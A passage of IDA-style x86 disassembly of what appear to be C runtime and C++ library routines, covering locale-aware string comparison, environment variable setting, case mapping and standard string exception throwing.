jle short loc_422062
cmp [ebp+var_3C], 2
jb short loc_42205E
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_42205E
loc_422044: ; CODE XREF: sub_421F1A+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_42205E
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_422058
cmp cl, dl
jbe short loc_422005
loc_422058: ; CODE XREF: sub_421F1A+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_422044
loc_42205E: ; CODE XREF: sub_421F1A+101j
; sub_421F1A+120j ...
push 3
jmp short loc_422007
; ---------------------------------------------------------------------------
loc_422062: ; CODE XREF: sub_421F1A+11Aj
cmp [ebp+arg_14], ebx
jle short loc_422098
cmp [ebp+var_3C], 2
jb short loc_422012
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_422012
loc_422075: ; CODE XREF: sub_421F1A+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_422012
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_42208D
cmp cl, dl
jbe loc_422005
loc_42208D: ; CODE XREF: sub_421F1A+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_422075
jmp loc_422012
; ---------------------------------------------------------------------------
loc_422098: ; CODE XREF: sub_421F1A+E0j
; sub_421F1A+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call dword_423070 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_422183
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_417830
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4220E7
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_4220E7: ; CODE XREF: sub_421F1A+1B5j
cmp [ebp+var_24], ebx
jz loc_422183
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_423070
call esi ; MultiByteToWideChar
test eax, eax
jz short loc_422183
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi ; MultiByteToWideChar
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_422183
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_417830
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422152
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_422152: ; CODE XREF: sub_421F1A+224j
cmp edi, ebx
jz short loc_422183
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call dword_423070 ; MultiByteToWideChar
test eax, eax
jz short loc_422183
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_423008 ; CompareStringW
jmp short loc_422185
; ---------------------------------------------------------------------------
loc_422183: ; CODE XREF: sub_421F1A+63j
; sub_421F1A+C6j ...
xor eax, eax
loc_422185: ; CODE XREF: sub_421F1A+BFj
; sub_421F1A+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_421F1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422197 proc near ; CODE XREF: sub_421EAC+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_4221FB
push 3Dh
push [ebp+arg_0]
call sub_4223DD
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_4221FB
cmp [ebp+arg_0], esi
jz short loc_4221FB
mov eax, dword_4894D4
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_4894D8
jnz short loc_4221E1
push eax
call sub_422376
pop ecx
mov dword_4894D4, eax
loc_4221E1: ; CODE XREF: sub_422197+3Cj
cmp eax, edi
jnz short loc_422239
cmp [ebp+arg_4], edi
jz short loc_422203
cmp dword_4894DC, edi
jz short loc_422203
call sub_421EAC
test eax, eax
jz short loc_422239
loc_4221FB: ; CODE XREF: sub_422197+Dj
; sub_422197+22j ...
or eax, 0FFFFFFFFh
loc_4221FE: ; CODE XREF: sub_422197+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_422203: ; CODE XREF: sub_422197+51j
; sub_422197+59j
cmp ebx, edi
jnz loc_422317
push 4
call sub_417889
cmp eax, edi
pop ecx
mov dword_4894D4, eax
jz short loc_4221FB
mov [eax], edi
cmp dword_4894DC, edi
jnz short loc_422239
push 4
call sub_417889
cmp eax, edi
pop ecx
mov dword_4894DC, eax
jz short loc_4221FB
mov [eax], edi
loc_422239: ; CODE XREF: sub_422197+4Cj
; sub_422197+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_4894D4
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_42231E
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_422299
cmp dword ptr [edi], 0
jz short loc_422299
test ebx, ebx
jz short loc_422291
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_41793B
pop ecx
loc_42226B: ; CODE XREF: sub_422197+E2j
cmp dword ptr [edi], 0
jz short loc_42227B
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_42226B
; ---------------------------------------------------------------------------
loc_42227B: ; CODE XREF: sub_422197+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41914F
pop ecx
test eax, eax
pop ecx
jz short loc_4222CB
jmp short loc_4222C6
; ---------------------------------------------------------------------------
loc_422291: ; CODE XREF: sub_422197+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_4222CB
; ---------------------------------------------------------------------------
loc_422299: ; CODE XREF: sub_422197+BDj
; sub_422197+C2j
test ebx, ebx
jnz short loc_422317
test esi, esi
jge short loc_4222A3
neg esi
loc_4222A3: ; CODE XREF: sub_422197+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41914F
pop ecx
test eax, eax
pop ecx
jz loc_4221FB
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_4222C6: ; CODE XREF: sub_422197+F8j
mov dword_4894D4, eax
loc_4222CB: ; CODE XREF: sub_422197+F6j
; sub_422197+100j
cmp [ebp+arg_4], 0
jz short loc_422317
push [ebp+arg_0]
call sub_4177B0
inc eax
inc eax
push eax
call sub_417889
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_422317
push [ebp+arg_0]
push esi
call sub_4176C0
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call dword_423004 ; SetEnvironmentVariableA
push esi
call sub_41793B
pop ecx
loc_422317: ; CODE XREF: sub_422197+6Ej
; sub_422197+104j ...
xor eax, eax
jmp loc_4221FE
sub_422197 endp
; =============== S U B R O U T I N E =======================================
sub_42231E proc near ; CODE XREF: sub_422197+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_4894D4
push edi
mov eax, [esi]
test eax, eax
jz short loc_422359
mov edi, [esp+8+arg_4]
loc_422330: ; CODE XREF: sub_42231E+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_421E6D
add esp, 0Ch
test eax, eax
jnz short loc_42234F
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_422369
test al, al
jz short loc_422369
loc_42234F: ; CODE XREF: sub_42231E+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_422330
loc_422359: ; CODE XREF: sub_42231E+Cj
mov eax, esi
sub eax, dword_4894D4
sar eax, 2
neg eax
loc_422366: ; CODE XREF: sub_42231E+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_422369: ; CODE XREF: sub_42231E+2Bj
; sub_42231E+2Fj
mov eax, esi
sub eax, dword_4894D4
sar eax, 2
jmp short loc_422366
sub_42231E endp
; =============== S U B R O U T I N E =======================================
sub_422376 proc near ; CODE XREF: sub_422197+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_422385
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_422385: ; CODE XREF: sub_422376+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_422397
loc_42238D: ; CODE XREF: sub_422376+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_42238D
loc_422397: ; CODE XREF: sub_422376+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_417889
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_4223B8
push 9
call sub_4199DA
pop ecx
loc_4223B8: ; CODE XREF: sub_422376+38j
mov eax, [edi]
mov ebx, edi
loc_4223BC: ; CODE XREF: sub_422376+5Bj
test eax, eax
jz short loc_4223D3
push eax
add ebx, 4
call sub_422450
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_4223BC
; ---------------------------------------------------------------------------
loc_4223D3: ; CODE XREF: sub_422376+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_422376 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4223DD proc near ; CODE XREF: sub_422197+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_48A8FC, 0
jnz short loc_4223F8
push [ebp+arg_4]
push [ebp+arg_0]
call sub_418C50
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4223F8: ; CODE XREF: sub_4223DD+Aj
mov ecx, [ebp+arg_0]
loc_4223FB: ; CODE XREF: sub_4223DD+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_42243E
movzx edx, al
test byte_48AA01[edx], 4
jz short loc_42242A
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_422435
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_422439
jmp short loc_422432
; ---------------------------------------------------------------------------
loc_42242A: ; CODE XREF: sub_4223DD+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_42243E
loc_422432: ; CODE XREF: sub_4223DD+4Bj
inc ecx
jmp short loc_4223FB
; ---------------------------------------------------------------------------
loc_422435: ; CODE XREF: sub_4223DD+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_422439: ; CODE XREF: sub_4223DD+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42243E: ; CODE XREF: sub_4223DD+25j
; sub_4223DD+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_4223DD endp
; =============== S U B R O U T I N E =======================================
sub_422450 proc near ; CODE XREF: sub_40A610+21p
; sub_422376+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_422477
push esi
call sub_4177B0
inc eax
push eax
call sub_417889
pop ecx
test eax, eax
pop ecx
jz short loc_422477
push esi
push eax
call sub_4176C0
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_422477: ; CODE XREF: sub_422450+7j
; sub_422450+1Aj
xor eax, eax
pop esi
retn
sub_422450 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_422480 proc near ; CODE XREF: sub_422563+19p
; sub_42268A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_4177B0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_404658
mov eax, esi
pop esi
retn 8
sub_422480 endp
; =============== S U B R O U T I N E =======================================
sub_4224AA proc near ; CODE XREF: .data:004224D5p
; sub_422558+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_423C9C
call sub_404620
mov ecx, esi
pop esi
jmp sub_4228A6
sub_4224AA endp
; =============== S U B R O U T I N E =======================================
sub_4224C5 proc near ; DATA XREF: .data:00423CA0o
; .data:00423CB0o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4224D1
mov eax, offset dword_423288
locret_4224D1: ; CODE XREF: sub_4224C5+5j
retn
sub_4224C5 endp
; ---------------------------------------------------------------------------
loc_4224D2: ; DATA XREF: .data:off_423C9Co
push esi
mov esi, ecx
call sub_4224AA
test byte ptr [esp+8], 1
jz short loc_4224E8
push esi
call sub_417FAF
pop ecx
loc_4224E8: ; CODE XREF: .data:004224DFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4224EE proc near ; CODE XREF: sub_422563+29p
mov eax, offset loc_422E22
call sub_417F90
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_423CB8
call sub_42281F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_423C9C
call sub_4225A0
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_423CAC
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4224EE endp
; =============== S U B R O U T I N E =======================================
sub_42253C proc near ; DATA XREF: .data:off_423CACo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_422558
test [esp+4+arg_0], 1
jz short loc_422552
push esi
call sub_417FAF
pop ecx
loc_422552: ; CODE XREF: sub_42253C+Dj
mov eax, esi
pop esi
retn 4
sub_42253C endp
; =============== S U B R O U T I N E =======================================
sub_422558 proc near ; CODE XREF: sub_42253C+3p
; DATA XREF: .data:00424010o
mov dword ptr [ecx], offset off_423CAC
jmp sub_4224AA
sub_422558 endp
; =============== S U B R O U T I N E =======================================
sub_422563 proc near ; CODE XREF: sub_4044CD+13p
; sub_40468D+Ep
mov eax, offset loc_422E34
call sub_417F90
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_422480
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4224EE
push offset dword_42400C
lea eax, [ebp-3Ch]
push eax
call sub_4228C9
int 3 ; Trap to Debugger
sub_422563 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4225A0 proc near ; CODE XREF: sub_4224EE+32p
; sub_4225C0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_4044CD
mov eax, esi
pop esi
retn 4
sub_4225A0 endp
; =============== S U B R O U T I N E =======================================
sub_4225C0 proc near ; CODE XREF: sub_42268A+29p
mov eax, offset loc_422E46
call sub_417F90
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_423CB8
call sub_42281F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_423C9C
call sub_4225A0
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4225C0 endp
; =============== S U B R O U T I N E =======================================
sub_422608 proc near ; CODE XREF: sub_422672+7p
; sub_4226CE+7p ...
mov eax, offset loc_422E58
call sub_417F90
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_42285C
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_423C9C
call sub_4225A0
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_422608 endp
; =============== S U B R O U T I N E =======================================
sub_42264B proc near ; DATA XREF: .data:off_423CD8o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_422667
test [esp+4+arg_0], 1
jz short loc_422661
push esi
call sub_417FAF
pop ecx
loc_422661: ; CODE XREF: sub_42264B+Dj
mov eax, esi
pop esi
retn 4
sub_42264B endp
; =============== S U B R O U T I N E =======================================
sub_422667 proc near ; CODE XREF: sub_42264B+3p
; DATA XREF: .data:004240B8o
mov dword ptr [ecx], offset off_423CD8
jmp sub_4224AA
sub_422667 endp
; =============== S U B R O U T I N E =======================================
sub_422672 proc near ; CODE XREF: sub_4226E6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_422608
mov dword ptr [esi], offset off_423CAC
mov eax, esi
pop esi
retn 4
sub_422672 endp
; =============== S U B R O U T I N E =======================================
sub_42268A proc near ; CODE XREF: sub_40441B+12p
; sub_404475+12p ...
mov eax, offset loc_422E6A
call sub_417F90
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_422480
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4225C0
push offset dword_4240B4
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_423CD8
call sub_4228C9
int 3 ; Trap to Debugger
sub_42268A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4226CE proc near ; CODE XREF: sub_4226E6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_422608
mov dword ptr [esi], offset off_423CD8
mov eax, esi
pop esi
retn 4
sub_4226CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4226E6 proc near ; DATA XREF: .data:00423CA4o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_422608
push offset dword_4240F4
lea eax, [ebp+var_1C]
push eax
call sub_4228C9
int 3 ; Trap to Debugger
loc_422704: ; DATA XREF: .data:00423CE0o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4226CE
push offset dword_4240B4
lea eax, [ebp+var_1C]
push eax
call sub_4228C9
int 3 ; Trap to Debugger
loc_422722: ; DATA XREF: .data:00423CB4o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_422672
push offset dword_42400C
lea eax, [ebp+var_1C]
push eax
call sub_4228C9
int 3 ; Trap to Debugger
sub_4226E6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_422740 proc near ; CODE XREF: sub_404904+6Cp
jmp dword_4231D8
sub_422740 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_422746 proc near ; CODE XREF: sub_403DAF+5Ep
; sub_405285+157p
jmp dword_423210
sub_422746 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42274C proc near ; CODE XREF: sub_417BFC+23p
; sub_417EA0+13p
jmp dword_423188
sub_42274C endp
; =============== S U B R O U T I N E =======================================
sub_422752 proc near ; CODE XREF: sub_4091D7+E2p
; sub_4091D7+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_489540, 0
push ebx
jnz short loc_422798
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_422764: ; CODE XREF: sub_422752+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_422776
cmp bx, 41h
jb short loc_422776
add ebx, 20h
loc_422776: ; CODE XREF: sub_422752+19j
; sub_422752+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_422788
cmp ax, 41h
jb short loc_422788
add eax, 20h
loc_422788: ; CODE XREF: sub_422752+2Bj
; sub_422752+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_4227C8
cmp bx, ax
jz short loc_422764
jmp short loc_4227C8
; ---------------------------------------------------------------------------
loc_422798: ; CODE XREF: sub_422752+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_4227A2: ; CODE XREF: sub_422752+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_422903
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_422903
pop ecx
test bx, bx
pop ecx
jz short loc_4227C6
cmp bx, ax
jz short loc_4227A2
loc_4227C6: ; CODE XREF: sub_422752+6Dj
pop edi
pop esi
loc_4227C8: ; CODE XREF: sub_422752+3Dj
; sub_422752+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_422752 endp
; =============== S U B R O U T I N E =======================================
sub_4227D2 proc near ; CODE XREF: .data:004227EAp
mov dword ptr [ecx], offset off_423CF8
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4227E6
push ecx
call sub_41793B
pop ecx
locret_4227E6: ; CODE XREF: sub_4227D2+Bj
retn
sub_4227D2 endp
; ---------------------------------------------------------------------------
loc_4227E7: ; DATA XREF: .data:off_423CF8o
push esi
mov esi, ecx
call sub_4227D2
test byte ptr [esp+8], 1
jz short loc_4227FD
push esi
call sub_417FAF
pop ecx
loc_4227FD: ; CODE XREF: .data:004227F4j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_422803: ; DATA XREF: .data:off_423D00o
push esi
mov esi, ecx
call sub_4228A6
test byte ptr [esp+8], 1
jz short loc_422819
push esi
call sub_417FAF
pop ecx
loc_422819: ; CODE XREF: .data:00422810j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_42281F proc near ; CODE XREF: sub_4224EE+1Dp
; sub_4225C0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_423D00
push dword ptr [edi]
call sub_4177B0
inc eax
push eax
call sub_4182F5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42284E
push dword ptr [edi]
push eax
call sub_4176C0
pop ecx
pop ecx
loc_42284E: ; CODE XREF: sub_42281F+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_42281F endp
; =============== S U B R O U T I N E =======================================
sub_42285C proc near ; CODE XREF: sub_422608+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_423D00
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_422899
push dword ptr [edi+4]
call sub_4177B0
inc eax
push eax
call sub_4182F5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42289F
push dword ptr [edi+4]
push eax
call sub_4176C0
pop ecx
pop ecx
jmp short loc_42289F
; ---------------------------------------------------------------------------
loc_422899: ; CODE XREF: sub_42285C+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_42289F: ; CODE XREF: sub_42285C+2Ej
; sub_42285C+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42285C endp
; =============== S U B R O U T I N E =======================================
sub_4228A6 proc near ; CODE XREF: sub_4224AA+16j
; .data:00422806p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_423D00
jz short locret_4228BB
push dword ptr [ecx+4]
call sub_417FAF
pop ecx
locret_4228BB: ; CODE XREF: sub_4228A6+Aj
retn
sub_4228A6 endp
; =============== S U B R O U T I N E =======================================
sub_4228BC proc near ; DATA XREF: .data:00423D04o
mov eax, [ecx+4]
test eax, eax
jnz short locret_4228C8
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_4228C8: ; CODE XREF: sub_4228BC+5j
retn
sub_4228BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4228C9 proc near ; CODE XREF: sub_422563+37p
; sub_42268A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_423D20
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_4231BC ; RaiseException
pop edi
pop esi
leave
retn 8
sub_4228C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422903 proc near ; CODE XREF: sub_422752+56p
; sub_422752+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_422915
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_422915: ; CODE XREF: sub_422903+Bj
cmp dword_489540, 0
jnz short loc_42292F
cmp ax, 41h
jb short locret_422976
cmp ax, 5Ah
ja short locret_422976
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_42292F: ; CODE XREF: sub_422903+19j
cmp ax, 100h
jnb short loc_422949
push 1
push eax
call sub_422BB1
pop ecx
test eax, eax
pop ecx
jnz short loc_422949
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_422949: ; CODE XREF: sub_422903+30j
; sub_422903+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_489540
call sub_422978
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_422976
mov ax, [ebp+var_2]
locret_422976: ; CODE XREF: sub_422903+1Fj
; sub_422903+25j ...
leave
retn
sub_422903 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422978 proc near ; CODE XREF: sub_422903+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_423D40
push offset sub_41F4A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_48979C, esi
jnz short loc_4229EE
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_4238D0
mov edi, 100h
push edi
push esi
call dword_4231C8 ; LCMapStringW
test eax, eax
jz short loc_4229CC
mov dword_48979C, ebx
jmp short loc_4229EE
; ---------------------------------------------------------------------------
loc_4229CC: ; CODE XREF: sub_422978+4Aj
push esi
push esi
push ebx
push offset dword_43BCF8
push edi
push esi
call dword_4231C4 ; LCMapStringA
test eax, eax
jz loc_422B6D
mov dword_48979C, 2
loc_4229EE: ; CODE XREF: sub_422978+2Ej
; sub_422978+52j
cmp [ebp+arg_C], esi
jle short loc_422A03
push [ebp+arg_C]
push [ebp+arg_8]
call sub_422B81
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_422A03: ; CODE XREF: sub_422978+79j
mov eax, dword_48979C
cmp eax, 1
jnz short loc_422A2A
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4231C8 ; LCMapStringW
jmp loc_422B6F
; ---------------------------------------------------------------------------
loc_422A2A: ; CODE XREF: sub_422978+93j
cmp eax, 2
jnz loc_422B6D
cmp [ebp+arg_18], esi
jnz short loc_422A40
mov eax, dword_489550
mov [ebp+arg_18], eax
loc_422A40: ; CODE XREF: sub_422978+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call dword_423150 ; WideCharToMultiByte
mov [ebp+var_20], eax
cmp eax, esi
jz loc_422B6D
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_417830
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_422A86
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_422A86: ; CODE XREF: sub_422978+100j
or [ebp+var_4], 0FFFFFFFFh
